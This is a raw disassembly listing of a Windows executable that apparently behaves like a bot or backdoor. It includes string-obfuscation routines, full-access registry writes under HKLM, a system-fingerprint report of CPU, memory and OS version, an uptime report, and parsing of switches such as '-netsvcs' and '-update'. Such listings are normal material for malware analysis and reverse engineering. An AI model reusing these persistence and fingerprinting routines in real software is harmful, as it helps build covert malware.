		push	1Dh
		push	1Eh
		push	5
		push	0Ch
		push	2
		push	1
		push	0Eh
		lea	edx, [esp+1B4h+var_178]
		push	1Fh
		push	edx
		call	sub_4019B5
		add	esp, 30h
		lea	ecx, [esp+18Ch+var_A0]
		push	edi
		push	ecx
		push	1
		push	0
		mov	ecx, eax
		mov	[esp+19Ch+var_18], 1Fh
		call	sub_4017E4
		mov	edx, [esp+19Ch+var_17C]
		push	eax
		push	edx
		call	near ptr 2950000h
		nop
		lea	ecx, [esp+1A4h+var_190]
		mov	[esp+1A4h+var_30], 1Dh
		call	sub_401226
		mov	eax, [esp+1A4h+var_194]
		mov	edi, dword_50F738
		push	eax
		call	edi
		lea	ecx, [esp+1A8h+var_198]
		push	ecx
		push	0F003Fh
		push	0
		lea	ecx, [esp+1B4h+var_130]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	13h
		lea	edx, [esp+1E0h+var_1A8]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1BCh+var_48], 20h
		call	sub_4017E4
		mov	ebp, dword_50F764
		push	eax
		mov	eax, [esp+1C0h+var_1AC]
		push	eax
		call	ebp
		lea	ecx, [esp+1C4h+var_1B0]
		mov	[esp+1C4h+var_50], 1Dh
		call	sub_401226
		mov	ecx, [esp+1C4h+var_1B4]
		push	ecx
		call	edi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	15h
		push	12h
		lea	edx, [esp+1ECh+var_1B4]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1C8h+var_54], 21h
		call	sub_4017E4
		push	eax
		call	sub_4015FA
sub_404C70	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 14244C8Dh, 742484C6h, 1D000001h, 0FFB709E8h,	244C8DFFh
		dd 0B8FEE844h, 22B3FFFFh, 10468h, 1046800h, 4C8D0000h
		dd 9C884C24h, 17C24h, 0C11BE800h, 9050FFFFh, 3DAF9EE8h
		dd 6A006A02h, 6A186A05h, 6A4E6A05h, 6A0E6A48h, 8D126A15h
		dd 6A382444h, 4EE85009h, 83FFFFBEh, 0C88B2CC4h,	742484C6h
		dd 23000001h, 0FFBC6BE8h, 4C8D50FFh, 61E84824h,	50FFFFBCh
		dd 4C244C8Dh, 44368468h, 9AE85100h, 83FFFFB4h, 4C8D10C4h
		dd 9C881424h, 17424h, 0B680E800h, 4C8DFFFFh, 0D2E84424h
		dd 50FFFFBAh, 0ADA7E890h, 548D023Dh, 4C8D1024h,	68527824h
		dd 0F003Fh, 19E8006Ah, 50FFFFBCh, 268h,	6AD6FF80h, 6A056A00h
		dd 6A056A18h, 6A056A4Eh, 8D016A14h, 6A342444h, 0C6E85012h
		dd 83FFFFBDh, 0C88B28C4h, 742484C6h, 24000001h,	0FFBBE3E8h
		dd 244C8BFFh, 0FF515010h, 244C8DD5h, 249C8814h,	174h, 0FFB60DE8h
		dd 24548BFFh, 0D7FF5210h, 56A006Ah, 56A186Ah, 486A4E6Ah
		dd 486A0E6Ah, 126A496Ah, 456A456Ah, 4424448Dh, 0E850096Ah
		dd 0FFFFBD71h, 8B38C483h, 2484C6C8h, 174h, 0BB8EE825h
		dd 0E850FFFFh, 0FFFFB99Eh, 8D04C483h, 8814244Ch, 174249Ch
		dd 0B7E80000h, 68FFFFB5h, 104h,	10468h,	244C8D00h, 0BFDBE84Ch
		dd 9050FFFFh, 3DAE5EE8h, 6A006A02h, 6A186A05h, 6A4E6A05h
		dd 6A0E6A48h, 6A496A48h, 6A456A12h, 244C8D45h, 51096A44h
		dd 0FFBD08E8h, 38C483FFh, 84C6C88Bh, 17424h, 25E82600h
		dd 50FFFFBBh, 48244C8Dh, 0FFBB1BE8h, 548D50FFh,	84684C24h
		dd 52004436h, 0FFB354E8h, 10C483FFh, 14244C8Dh,	74249C88h
		dd 0E8000001h, 0FFFFB53Ah, 44244C8Dh, 0FFB98CE8h, 0E89050FFh
		dd 23DAC61h, 1024448Dh,	78244C8Dh, 3F6850h, 6A000Fh, 0FFBAD3E8h
		dd 26850FFh, 0FF800000h, 6A006AD6h, 6A186A05h, 6A4E6A05h
		dd 6A146A05h, 8D136A01h, 6A38244Ch, 7EE85113h, 83FFFFBCh
		dd 0C88B2CC4h, 742484C6h, 27000001h, 0FFBA9BE8h, 24548BFFh
		dd 0FF525010h, 244C8DD5h, 249C8814h, 174h, 0FFB4C5E8h
		dd 24448BFFh, 0D7FF5010h, 56A006Ah, 56A186Ah, 136A4E6Ah
		dd 136A196Ah, 96A0E6Ah,	3C244C8Dh, 0E851176Ah, 0FFFFBC2Dh
		dd 8B30C483h, 2484C6C8h, 174h, 0BA4AE828h, 0E850FFFFh
		dd 0FFFFB85Ah, 8D04C483h, 8814244Ch, 174249Ch, 73E80000h
		dd 68FFFFB4h, 104h, 10468h, 244C8D00h, 0BE97E84Ch, 9050FFFFh
		dd 3DAD1AE8h, 6A006A02h, 6A186A05h, 6A4E6A05h, 6A196A13h
		dd 6A0E6A13h, 24548D09h, 52176A3Ch, 0FFBBC8E8h,	30C483FFh
		dd 84C6C88Bh, 17424h, 0E5E82900h, 50FFFFB9h, 48244C8Dh
		dd 0FFB9DBE8h, 448D50FFh, 84684C24h, 50004436h,	0FFB214E8h
		dd 10C483FFh, 14244C8Dh, 74249C88h, 0E8000001h,	0FFFFB3FAh
		dd 44244C8Dh, 0FFB84CE8h, 0E89050FFh, 23DAB21h,	10244C8Dh
		dd 3F6851h, 6A000Fh, 84248C8Dh,	0E8000000h, 0FFFFB990h
		dd 26850h, 0D6FF8000h, 56A006Ah, 56A186Ah, 56A4E6Ah, 16A146Ah
		dd 106A046Ah, 46A156Ah,	548D476Ah, 46A4824h, 0BB33E852h
		dd 0C483FFFFh, 0C6C88B3Ch, 1742484h, 0E82A0000h, 0FFFFB950h
		dd 24448B50h, 0D5FF5014h, 14244C8Dh, 74249C88h,	0E8000001h
		dd 0FFFFB37Ah, 10244C8Bh, 6AD7FF51h, 6A056A00h,	6A056A18h
		dd 6A056A4Eh, 6A076A0Ch, 6A056A01h, 24548D02h, 52026A40h
		dd 0FFBAE0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0FDE82B00h
		dd 50FFFFB8h, 0FFB70DE8h, 4C483FFh, 14244C8Dh, 74249C88h
		dd 0E8000001h, 0FFFFB326h, 10468h, 1046800h, 4C8D0000h
		dd 4AE84C24h, 50FFFFBDh, 0ABCDE890h, 6A023Dh, 186A056Ah
		dd 4E6A056Ah, 0C6A056Ah, 16A076Ah, 26A056Ah, 4024448Dh
		dd 0E850026Ah, 0FFFFBA79h, 8B34C483h, 2484C6C8h, 174h
		dd 0B896E82Ch, 8D50FFFFh, 0E848244Ch, 0FFFFB88Ch, 244C8D50h
		dd 3684684Ch, 0E8510044h, 0FFFFB0C5h, 8D10C483h, 8814244Ch
		dd 174249Ch, 0ABE80000h, 8DFFFFB2h, 0E844244Ch,	0FFFFB6FDh
		dd 0D2E89050h, 8D023DA9h, 8D102454h, 5278244Ch,	0F003F68h
		dd 0E8006A00h, 0FFFFB844h, 26850h, 0D6FF8000h, 0E6A006Ah
		dd 276A0F6Ah, 136A0B6Ah, 448D016Ah, 2E6A3024h, 0B9F3E850h
		dd 0C483FFFFh, 0C6C88B24h, 1742484h, 0E82D0000h, 0FFFFB810h
		dd 10244C8Bh, 0D5FF5150h, 14244C8Dh, 74249C88h,	0E8000001h
		dd 0FFFFB23Ah, 1024548Bh, 6AD7FF52h, 6A056A00h,	6A056A18h
		dd 6A0E6A4Eh, 6A0D6A0Fh, 6A136A0Bh, 24448D01h, 50146A40h
		dd 0FFB9A0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0BDE82E00h
		dd 50FFFFB7h, 0FFB5CDE8h, 4C483FFh, 14244C8Dh, 74249C88h
		dd 0E8000001h, 0FFFFB1E6h, 10468h, 1046800h, 4C8D0000h
		dd 0AE84C24h, 50FFFFBCh, 0AA8DE890h, 6A023Dh, 186A056Ah
		dd 4E6A056Ah, 0F6A0E6Ah, 0B6A0D6Ah, 16A136Ah, 40244C8Dh
		dd 0E851146Ah, 0FFFFB939h, 8B34C483h, 2484C6C8h, 174h
		dd 0B756E82Fh, 8D50FFFFh, 0E848244Ch, 0FFFFB74Ch, 36846850h
		dd 548D0044h, 0E8525024h, 0FFFFAF85h, 8D10C483h, 8814244Ch
		dd 174249Ch, 6BE80000h,	8DFFFFB1h, 0E844244Ch, 0FFFFB5BDh
		dd 0A893E850h, 8D90023Dh, 8D102444h, 5078244Ch,	0F003F68h
		dd 0E8006A00h, 0FFFFB704h, 26850h, 0D6FF8000h, 126A006Ah
		dd 126A056Ah, 0C6A0F6Ah, 186A106Ah, 0B0248C8Dh,	6A000000h
		dd 0AEE8511Fh, 83FFFFB8h, 0C88B28C4h, 742484C6h, 30000001h
		dd 0FFB6CBE8h, 24548BFFh, 0FF525010h, 248C8DD5h, 90h, 74249C88h
		dd 0E8000001h, 0FFFFB0F2h, 1024448Bh, 8BD7FF50h, 50FB0435h
		dd 36686800h, 0D6FF0044h, 44364C68h, 68D6FF00h,	44362Ch
		dd 868D6FFh, 0FF004436h, 10C483D6h, 44244C8Dh, 742484C6h
		dd 1D000001h, 0FFB0B5E8h, 244C8DFFh, 2484C778h,	174h, 0FFFFFFFFh
		dd 0FFB0A1E8h, 0E901B0FFh, 0FFFFF4E9h, 90909090h, 154h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_4066E0	proc near		; CODE XREF: sub_40194Cj

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4066E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_28], ebx
		call	sub_401424
		mov	esi, [esp+38h+arg_4]
		mov	ebp, 1
		cmp	esi, ebx
		mov	[esp+38h+var_4], ebp
		jnz	short loc_406731
		mov	esi, [esp+38h+arg_0]
		push	ebx
		mov	ecx, esi
		call	sub_4020F4
		mov	[esp+38h+var_28], ebp
		jmp	loc_4067D7
; ---------------------------------------------------------------------------


loc_406731:				; CODE XREF: sub_4066E0+3Aj
		nop
		call	near ptr 27E08AFh
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		add	edx, ecx
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	edi, edx
		cmp	edi, esi
		jl	short loc_4067C3
		mov	eax, ecx
		mov	ecx, 15180h
		cdq
		idiv	ecx
		mov	esi, 0E10h
		mov	ecx, edx
		mov	eax, ecx
		cdq
		idiv	esi
		mov	eax, 88888889h
		mov	esi, edx
		imul	esi
		add	edx, esi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		push	edx
		push	edi
		lea	edx, [esp+44h+var_24]
		push	offset aUpDdDhDm ; "up:	%dd %dh	%dm"
		push	edx
		call	sub_40102D
		mov	esi, [esp+4Ch+arg_0]
		add	esp, 14h
		lea	eax, [esp+38h+var_24]
		mov	ecx, esi
		push	eax
		call	sub_4014C9
		jmp	short loc_4067D3
; ---------------------------------------------------------------------------


loc_4067C3:				; CODE XREF: sub_4066E0+7Cj
		mov	esi, [esp+38h+arg_0]
		push	offset byte_446F70
		mov	ecx, esi
		call	sub_401861


loc_4067D3:				; CODE XREF: sub_4066E0+E1j
		mov	[esp+38h+var_28], ebp


loc_4067D7:				; CODE XREF: sub_4066E0+4Cj
		lea	ecx, [esp+38h+var_24]
		mov	byte ptr [esp+38h+var_4], bl
		call	sub_401226
		mov	ecx, [esp+38h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn	8
sub_4066E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406850:				; CODE XREF: ___:00401668j
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	offset byte_446F70
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_401861
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406890	proc near		; CODE XREF: sub_401F3Cj

var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_164		= byte ptr -164h
var_14C		= byte ptr -14Ch
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_406890
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18Ch
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+1A4h+var_18C]
		mov	[esp+1A4h+var_198], 0
		call	sub_401424
		mov	[esp+1A4h+var_4], 1
		nop
		call	near ptr 27E08AFh
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	esi, edx
		lea	edx, [esp+1A4h+var_14C]
		push	edx
		mov	[esp+1A8h+var_190], 10h
		shr	esi, 6
		mov	[esp+1A8h+var_194], 15h
		call	near ptr 2820000h
		nop
		lea	eax, [esp+1A4h+var_12C]
		mov	[esp+1A4h+var_12C], 94h
		push	eax
		call	near ptr 2810000h
		nop
		mov	eax, [esp+1A4h+var_128]
		cmp	eax, 4
		jnz	short loc_40695E
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406946
		mov	eax, [esp+1A4h+var_11C]
		cmp	eax, 1
		jnz	short loc_406936
		mov	ebp, offset a95	; "95"
		jmp	loc_4069D1
; ---------------------------------------------------------------------------


loc_406936:				; CODE XREF: sub_406890+9Aj
		cmp	eax, 2
		jnz	loc_4069CD
		mov	ebp, offset aNt	; "NT"
		jmp	short loc_40699A
; ---------------------------------------------------------------------------


loc_406946:				; CODE XREF: sub_406890+8Ej
		cmp	eax, 0Ah
		jnz	short loc_406952
		mov	ebp, offset a98	; "98"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406952:				; CODE XREF: sub_406890+B9j
		cmp	eax, 5Ah
		jnz	short loc_40698B
		mov	ebp, offset aMe	; "ME"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_40695E:				; CODE XREF: sub_406890+83j
		cmp	eax, 5
		jnz	short loc_40698B
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406975
		mov	ebp, offset a2000 ; "2000"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406975:				; CODE XREF: sub_406890+DCj
		cmp	eax, 1
		jnz	short loc_406981
		mov	ebp, offset aXp	; "XP"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406981:				; CODE XREF: sub_406890+E8j
		cmp	eax, 2
		mov	ebp, offset a2003 ; "2003"
		jz	short loc_406990


loc_40698B:				; CODE XREF: sub_406890+C5j
					; sub_406890+D1j
		mov	ebp, offset a??? ; "???"


loc_406990:				; CODE XREF: sub_406890+C0j
					; sub_406890+CCj ...
		cmp	[esp+1A4h+var_11C], 2
		jnz	short loc_4069D1


loc_40699A:				; CODE XREF: sub_406890+B4j
		mov	al, [esp+1A4h+var_118]
		test	al, al
		jz	short loc_4069D1
		lea	ecx, [esp+1A4h+var_118]
		lea	edx, [esp+1A4h+var_98]
		push	ecx
		push	ebp
		push	offset aSS_2	; "%s [%s]"
		push	edx
		call	sub_5EE1E5
		nop
		add	esp, 10h
		lea	ebp, [esp+1A4h+var_98]
		jmp	short loc_4069D1
; ---------------------------------------------------------------------------


loc_4069CD:				; CODE XREF: sub_406890+A9j
		mov	ebp, [esp+1A4h+var_198]


loc_4069D1:				; CODE XREF: sub_406890+A1j
					; sub_406890+108j ...
		lea	eax, [esp+1A4h+var_190]
		lea	ecx, [esp+1A4h+var_174]
		push	eax
		push	ecx
		nop
		call	near ptr 28011B1h
		lea	edx, [esp+1A4h+var_194]
		lea	eax, [esp+1A4h+var_164]
		push	edx
		push	eax
		nop
		call	near ptr 2930000h
		mov	eax, esi
		mov	ecx, 15180h
		cdq
		idiv	ecx
		lea	eax, [esp+1A4h+var_174]
		mov	edi, 0E10h
		mov	ecx, edx
		lea	edx, [esp+1A4h+var_164]
		push	edx
		push	eax
		mov	eax, ecx
		cdq
		idiv	edi
		mov	eax, 88888889h
		mov	edi, edx
		imul	edi
		add	edx, edi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		mov	eax, 0C22E4507h
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		mov	ecx, [esp+1B0h+var_120]
		push	edx
		imul	esi
		add	edx, esi
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, [esp+1B4h+var_128]
		push	edx
		mov	edx, [esp+1B8h+var_124]
		push	ecx
		mov	ecx, [esp+1BCh+var_144]
		push	edx
		push	eax
		mov	eax, 804021h
		push	ebp
		mul	ecx
		sub	ecx, edx
		mov	eax, 804021h
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		mov	ecx, [esp+1CCh+var_140]
		mul	ecx
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		call	sub_4017F3
		push	eax
		lea	ecx, [esp+1D4h+var_18C]
		push	offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
		push	ecx
		call	sub_40102D
		mov	esi, [esp+1DCh+arg_0]
		add	esp, 38h
		lea	edx, [esp+1A4h+var_18C]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+1A4h+var_198], 1
		lea	ecx, [esp+1A4h+var_18C]
		mov	byte ptr [esp+1A4h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+1A4h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 198h
		retn	4
sub_406890	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406BA0	proc near		; CODE XREF: sub_4015DCj
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E008
		mov	dword ptr [eax+110h], 0
		retn
sub_406BA0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406BD0:				; CODE XREF: ___:00401F8Cj
		push	esi
		mov	esi, ecx
		call	sub_40143D
		test	byte ptr [esp+8], 1
		jz	short loc_406BE8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406BE8:				; CODE XREF: ___:00406BDDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406C00	proc near		; CODE XREF: sub_40143Dj
		mov	dword ptr [ecx], offset	off_43E008
		mov	ecx, [ecx+110h]
		test	ecx, ecx
		jz	short locret_406C17
		push	ecx
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx

locret_406C17:				; CODE XREF: sub_406C00+Ej
		retn
sub_406C00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_406C30	proc near		; CODE XREF: sub_401384j

arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_406C30
		push	eax
		mov	large fs:0, esp
		sub	esp, 448h
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+110h]
		test	eax, eax
		jz	short loc_406C61
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406C61:				; CODE XREF: sub_406C30+26j
		push	ebp
		push	esi
		mov	esi, [esp+460h+arg_0]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	sub_4367FA
sub_406C30	endp

; ---------------------------------------------------------------------------
		mov	edx, eax
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+110h], edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebx+110h]
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx+5], 0
		mov	byte ptr [ebx+9], 0
		mov	byte ptr [ebx+0Ah], 0
		mov	byte ptr [ebx+0Bh], 0
		repne scasb
		not	ecx
		push	ecx
		call	sub_4367FA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+110h]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	ebp, dword_50FAF4
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		push	offset asc_443600 ; " "
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		push	edx
		and	ecx, 3
		rep movsb
		call	ebp	; strtok
		add	esp, 10h
		mov	[esp+58h], eax
		lea	esi, [esp+5Ch]
		mov	edi, 0FFh


loc_406D12:				; CODE XREF: ___:00406D24j
		push	offset asc_443600 ; " "
		push	0
		call	ebp	; strtok
		mov	[esi], eax
		add	esp, 8
		add	esi, 4
		dec	edi
		jnz	short loc_406D12
		mov	eax, [esp+58h]
		xor	ecx, ecx
		cmp	eax, ecx
		jz	loc_406F18
		lea	ebp, [esp+58h]


loc_406D38:				; CODE XREF: ___:00406F10j
		mov	edi, [ebp+0]
		mov	esi, offset dword_4437EC
		mov	eax, edi


loc_406D42:				; CODE XREF: ___:00406D60j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406D66
		test	cl, cl
		jz	short loc_406D62
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406D66
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D42


loc_406D62:				; CODE XREF: ___:00406D4Cj
		xor	eax, eax
		jmp	short loc_406D6B
; ---------------------------------------------------------------------------


loc_406D66:				; CODE XREF: ___:00406D48j
					; ___:00406D56j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406D6B:				; CODE XREF: ___:00406D64j
		test	eax, eax
		jz	loc_406F08
		mov	esi, offset aUpdate ; "-update"
		mov	eax, edi


loc_406D7A:				; CODE XREF: ___:00406D98j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406D9E
		test	cl, cl
		jz	short loc_406D9A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406D9E
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D7A


loc_406D9A:				; CODE XREF: ___:00406D84j
		xor	eax, eax
		jmp	short loc_406DA3
; ---------------------------------------------------------------------------


loc_406D9E:				; CODE XREF: ___:00406D80j
					; ___:00406D8Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DA3:				; CODE XREF: ___:00406D9Cj
		test	eax, eax
		jnz	short loc_406DB0
		mov	byte ptr [ebx+9], 1
		jmp	loc_406F08
; ---------------------------------------------------------------------------


loc_406DB0:				; CODE XREF: ___:00406DA5j
		mov	esi, offset aNetsvcs ; "-netsvcs"
		mov	eax, edi


loc_406DB7:				; CODE XREF: ___:00406DD5j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DDB
		test	cl, cl
		jz	short loc_406DD7
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DB7


loc_406DD7:				; CODE XREF: ___:00406DC1j
		xor	eax, eax
		jmp	short loc_406DE0
; ---------------------------------------------------------------------------


loc_406DDB:				; CODE XREF: ___:00406DBDj
					; ___:00406DCBj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DE0:				; CODE XREF: ___:00406DD9j
		test	eax, eax
		jnz	short loc_406DED
		mov	byte ptr [ebx+0Ah], 1
		jmp	loc_406F08
; ---------------------------------------------------------------------------


loc_406DED:				; CODE XREF: ___:00406DE2j
		mov	esi, offset aBai ; "-bai"
		mov	eax, edi


loc_406DF4:				; CODE XREF: ___:00406E12j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E18
		test	cl, cl
		jz	short loc_406E14
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E18
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DF4


loc_406E14:				; CODE XREF: ___:00406DFEj
		xor	eax, eax
		jmp	short loc_406E1D
; ---------------------------------------------------------------------------


loc_406E18:				; CODE XREF: ___:00406DFAj
					; ___:00406E08j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E1D:				; CODE XREF: ___:00406E16j
		test	eax, eax
		jnz	loc_406F08
		lea	ecx, [esp+10h]
		call	sub_401424
		mov	eax, [esp+468h]
		push	offset aBai	; "-bai"
		push	eax
		mov	dword ptr [esp+468h], 0
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_406EF4
		push	eax
		lea	ecx, [esp+14h]
		call	sub_4015D7
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+30h]
		push	1
		push	ecx
		lea	ecx, [esp+20h]
		call	sub_4011EA
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+464h], 1
		call	sub_4012EE
		lea	ecx, [esp+28h]
		mov	esi, eax
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		test	esi, esi
		jz	short loc_406EF4
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+48h]
		push	1
		push	edx
		lea	ecx, [esp+20h]
		mov	byte ptr [ebx+0Bh], 1
		call	sub_4011EA
		push	104h
		mov	ecx, eax
		mov	byte ptr [esp+464h], 2
		call	sub_401681
		push	eax
		lea	eax, [ebx+0Ch]
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		add	ebp, 4


loc_406EF4:				; CODE XREF: ___:00406E51j
					; ___:00406EA1j
		lea	ecx, [esp+10h]
		mov	dword ptr [esp+460h], 0FFFFFFFFh
		call	sub_401226


loc_406F08:				; CODE XREF: ___:00406D6Dj
					; ___:00406DABj ...
		mov	eax, [ebp+4]
		add	ebp, 4
		test	eax, eax
		jnz	loc_406D38
		xor	ecx, ecx


loc_406F18:				; CODE XREF: ___:00406D2Ej
		mov	al, [ebx+4]
		pop	edi
		pop	esi
		pop	ebp
		test	al, al
		jnz	short loc_406F25
		mov	[ebx+5], ecx


loc_406F25:				; CODE XREF: ___:00406F20j
		cmp	[ebx+5], ecx
		jnz	short loc_406F35
		test	al, al
		jz	short loc_406F35
		mov	dword ptr [ebx+5], 0Ah


loc_406F35:				; CODE XREF: ___:00406F28j
					; ___:00406F2Cj
		mov	[ebx+5], ecx
		mov	ecx, [esp+44Ch]
		mov	byte ptr [ebx+4], 0
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 454h
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 0D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407030	proc near		; CODE XREF: sub_40209Fj

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407030
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+32h]
		push	eax
		mov	[esp+1Ch+var_4], 0
		call	sub_401564
sub_407030	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	dword ptr [esi], offset	off_43E00C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
